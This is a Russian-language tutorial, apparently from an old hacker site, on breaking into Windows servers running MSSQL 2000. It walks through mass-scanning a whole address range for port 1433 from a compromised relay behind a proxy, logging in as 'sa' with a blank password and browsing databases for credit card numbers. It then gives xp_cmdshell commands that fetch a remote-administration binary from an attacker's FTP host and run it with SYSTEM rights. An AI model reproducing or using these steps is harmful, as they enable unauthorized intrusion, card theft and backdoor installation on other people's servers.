Самый простой способ взлома сервера на платформе WINDOWS

Самый простой способ взлома сервера на платформе WINDOWSСамый, в настоящий момент, простой способ взлома сервера на платформе WINDOWS, или способ убить время. ПРЕДУПРЕЖДЕНИЕ ОТ АВТОРА: Данный текст НЕ ПРИЗЫВАЕТ Вас использовать алгоритм убивания времени, описанный в нем и выставлен на всеобщее обозрение исключительно в образовательных целях. В статье нет НИ СЛОВА закрытой информации, все написанное в статье можно отыскать как в сети так и в оффлайновых изданиях. В статье СОЗНАТЕЛЬНО пропущен один ВАЖНЫЙ момент, автор заранее предупреждает: ЕСЛИ ВЫ НЕ ЗНАКОМЫ С ПРОЦЕДУРОЙ АУТЕНТИФИКАЦИИ MSSQL сервера И НЕ ЗНАЕТЕ, КАКИЕ НУЖНО ПРИНЯТЬ МЕРЫ ДЛЯ ЕЕ МОДИФИКАЦИИ – В СЛУЧАЕ ПРИМЕНЕНИЯ ОПИСАНОЙ НИЖЕ МЕТОДИКИ, ВАС _ОБЯЗАТЕЛЬНО_ НАЙДУТ! ТЕМ БОЛЕЕ, ЕСЛИ ВЫ ПОЛЬЗУЕТЕСЬ ПОСТОЯННЫМ, ВЫСОКОСКОРОСТНЫМ СОЕДИНЕНИЕМ С ИНТЕРНЕТОМ… Что требуется: - дистрибутив MSSQL-server 2000 - Shadow Remote Administrator (SRA) - NEC e-Border client - ломаная машина NT4.0 или W2K - постоянное, не менее 64 kbps соединение с интернетом - один-два пальца на руках - пару-тройку суток времени Алгоритм: 1. Устанавливаем MSSQL, нам потребуется только клиентская часть SQL Query Analyzer (QA). 2. Устанавливаем NEC e-Border дабы нас сходу не отловили и не пришли в гости. 3. На ломаную машину устанавливаем SRA, коннектимся к нему и запускаем на нем Socks-5 сервер на любом нестандартном порту (входит в SRA). 4. На своем e-Bordere прописываем IP адрес ломаной машины с запущенным соксом. 5. На ломаной машине запускаем FTP-сервер (входит в SRA), ОЯЗАТЕЛЬНО на 21 порту. 6. Кладем в корень этого запущенного FTP серверную часть SRA (по умолчанию C:\). 7. Запускаем в SRA порт-сканнер, забиваем туда подсетку класса A (типа 4.0.0.1-4.255.255.255), порт нам нужен 1433. 8. Выключаем монитор и впадаем в трехдневный запой. По прошествии трех дней, после посещения нарколога, и принятия холодного душа приступаем, собственно к ПРОЦЕССУ. В настоящий момент, вы уже имеете массу машин, про которые известно, что на них запущен MSSQL-сервер, который слушает на стандартном порту 1433. Вам не известно, какие из этих серверов, были установлены администраторами-недоучками, типа Вас, читающих данную статью с интересом, и не позаботившиеся о том, чтобы сменить стандартный логин SA с ПУСТЫМ паролем, на что-нибудь более приличное. Запускаем QA, в выскочившем окошке вводим: - SQL Server: IP из списка насканенного с помощью SRA - Галочку Start SQL if it is stopped НЕ СТАВИМ - Connect Using: SQL Server authentication - Login name: sa - Password: пустое поле Жмем «ОК» В случае появления сообщений типа: Login filed for user “sa”, Not trusted SQL server connection etc, жмем «ОК» и пробуем следующий IP из списка. Ну наконец, вместо надоевшего Login filed, получаем просто вдруг открывшееся, девственно белое, окошко с заголовком типа “Query 12.11.32.45.master.sa” – ВЫ ЗАШЛИ на SQL-сервер, поздравляю =) Жмем F8, слева появляется список баз данных, находящихся на этом сервере. Сразу хочу предупредить: базы с именами Master, model, msdb, Northwind, pubs, tempdb являются служебными или поставляются с MSSQL как примеры – смысла их просматривать нет – только в качестве самообразования. Если в списке баз вы видите чего-нибудь типа ONLINESHOP (=)) жмите на крестик слева от названия базы, в выпавшем списке – на крестик слева от User Tables. Перед вами список таблиц базы данных. При нажатии на крестик слева от названия таблицы, вы получите список названий полей в таблице. По собственному опыту убивания времени, могу судить, что ПОДАВЛЯЮЩЕЕ большинство имен таблиц и полей НЕСЕТ большую смысловую нагрузку – если в базе есть номера карточек, то скорее всего так и будет написано CreditCardNumber – или в названии таблицы, или в названии поля таблицы. Как просмотреть записи в таблицах. 1. В выпадающем списке сверху окна QA выбираем название нужной базы. 2. Портим девственную белизну окна запроса буквочками типа: select top 100 * from users этот запрос вернет верхние 100 строк из таблицы USERS select count(*) from users этот запрос покажет количество строк в таблице USERS xp_cmdshell 'cmd /c echo Admin>ftp1&cmd /c echo password>>ftp1&cmd /c echo binary>>ftp1&cmd /c echo get sr.exe>>ftp1&cmd /c echo quit>>ftp1&cmd /c ftp -s:ftp1 -d 12.12.12.12' этот запрос скачает с FTP-сервера 12.12.12.12 с логином Admin и паролем password файл sr.exe xp_cmdshell 'cmd /c sr.exe' а этот запрос, запустит sr.exe на удаленной машине с правами SQL-сервера – а это, как правило, или SYSTEM или DomainAdmins. Если кто еще не догадался, xp_cmdshell ‘dir c:\’ покажет содержимое диска C:\ .